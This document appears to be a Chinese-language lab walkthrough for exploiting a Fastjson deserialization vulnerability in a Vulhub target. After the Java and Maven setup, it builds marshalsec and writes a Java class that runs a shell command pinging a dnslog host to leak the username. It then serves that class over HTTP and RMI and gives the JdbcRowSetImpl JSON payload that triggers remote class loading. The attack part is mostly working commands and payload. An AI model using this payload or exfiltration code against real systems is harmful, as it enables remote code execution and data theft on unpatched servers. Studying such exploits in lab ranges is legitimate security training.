1.靶场采用Vulhub,一键启动fastjson漏洞环境
2.java jdk采用1.8.0_281
2.1.mkdir /opt/java
2.2.tar zxvf jdk-8u281-linux-x64.tar.gz -C /opt/java
2.3.vim /etc/profile
末尾添加:
export JAVA_HOME=/opt/java/jdk1.8.0_281
export JRE_HOME=/opt/java/jdk1.8.0_281
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin
2.4. source /etc/profile (之后就可以关闭命令窗口了)
2.5java –version (如果你是其他版本需要换下)
如果成功显示:
java version "1.8.0_281"
Java(TM) SE Runtime Environment (build 1.8.0_281-b09)
Java HotSpot(TM) 64-Bit Server VM (build 25.281-b09, mixed mode))
2.6更换版本:
update-alternatives --install /usr/bin/java java /opt/java/jdk1.8.0_281/bin/java 4
之后输入:update-alternatives --config java (填写对应版本序号)
3.安装maven
3.1下载 wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
mkdir /opt/maven
3.2配置环境变量
vim /etc/profile
在最下面增加
export MAVEN_HOME=/opt/maven/apache-maven-3.6.3
export PATH=$MAVEN_HOME/bin:$PATH
验证maven是否安装成功
mvn -version
4.0安装marshalsec
4.1下载 git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
4.2编译项目
mvn clean package –DskipTests
5.0生成dnslog.class
5.1配置dnslog.java
1 // javac TouchFile.java 2 import java.lang.Runtime; 3 import java.lang.Process; 4 public class dnslog{ 5 static { 6 try{ 7 Runtime rt = Runtime.getRuntime(); 8 String[] commands = { "/bin/sh", "-c", "ping user.'whoami'.9d33fn.dnslog.cn"}; 9 Process pc = rt.exec(commands); 10 pc.waitFor(); 11 } catch (Exception e) { 12 // do nothing 13 } 14 } 15 }
#你们利用的时候把9d33fn.dnslog.cn改成自己的dnslog即可 使用命令javac dnslog.java生成dnslog.clss 环境运行: dnslog.clss文件在哪,在哪开启终端输入下面命令
python -m SimpleHTTPServer 8000
cd marshalsec/
cd target/
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.220.129:8000/#dnslog" 9999
这里192.168.220.129:8000 ip和端口,分别是启动python服务的ip及端口
抓包改为post,发送下面的数据,其中ip和端口分别为python服务的ip和 marshalsec服务端口
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.220.129:9999/dnslog", "autoCommit":true } }